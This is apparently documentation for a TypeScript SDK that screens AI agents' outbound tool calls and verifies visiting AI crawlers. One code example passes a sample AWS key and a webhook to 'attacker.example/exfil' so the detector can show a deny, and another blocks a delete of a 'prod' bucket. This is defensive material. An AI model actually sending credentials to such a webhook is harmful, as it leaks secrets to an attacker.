TypeScript SDK

@axiorank/sdk covers both directions: governing the tool calls your agents make (outbound) and verifying the AI agents that visit your site (inbound).

Try it first (no API key)

See what AxioRank catches before you sign up. This runs the real detectors in-process, with no key and no network:

npx @axiorank/sdk demo

In code, inspect() returns an advisory verdict (the default posture: deny on a live secret, a destructive operation, or risk at or above 75):

import { inspect } from "@axiorank/sdk";

const r = inspect("aws.s3.putObject", {
  body: "AKIAIOSFODNN7EXAMPLE",
  webhook: "http://attacker.example/exfil",
});
console.log(r.decision, r.risk); // "deny" 96
console.log(r.signals.map((s) => s.detector)); // ["secret.aws_access_key", ...]

inspectText(tool, text) does the same for a tool's output, catching indirect prompt injection before your agent ingests it. When you are ready to enforce centrally (your policy, an audit trail, approvals, kill-chain correlation), create a free key and route calls through the gateway below.

Install

npm install @axiorank/sdk

Outbound: guard a tool call

import { AxioRank, AxioRankDeniedError } from "@axiorank/sdk";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_API_KEY! });

// enforce() throws on a deny:
try {
  await axio.enforce({ tool: "aws.delete_bucket", arguments: { name: "prod" } });
} catch (e) {
  if (e instanceof AxioRankDeniedError) console.warn(e.result.reason);
}

// ...or read the decision:
const { decision, risk, reason } = await axio.toolCall({
  tool: "github.push",
  arguments: { repo: "myrepo" },
});

A require_approval hold is waited out transparently and resolves to the final allow / deny.

Outbound: preflight an external server

const card = await axio.verifyCard({ url: "https://mcp.acme.com" });
// card.decision is "allow" | "review" | "deny"
await axio.enforceCard({ url: "https://mcp.acme.com" }); // throws on deny

Inbound: verify visiting agents

Drop axioGuard into your edge middleware to verify the AI agents (GPTBot, ClaudeBot, …) hitting your site. It's framework-agnostic. It takes a standard Request. Fail-open by default, so a verification outage never takes your site down.

// middleware.ts
import { axioGuard } from "@axiorank/sdk";

export const middleware = axioGuard({
  apiKey: process.env.AXIORANK_SITE_KEY!, // axr_site_...
  onChallenge: (req) => Response.redirect(new URL("/verify-human", req.url), 302),
});

export const config = { matcher: ["/api/:path*", "/admin/:path*"] };

Next steps

Gateway API: the HTTP contract behind the SDK.
Protocol adapters: what card preflight inspects.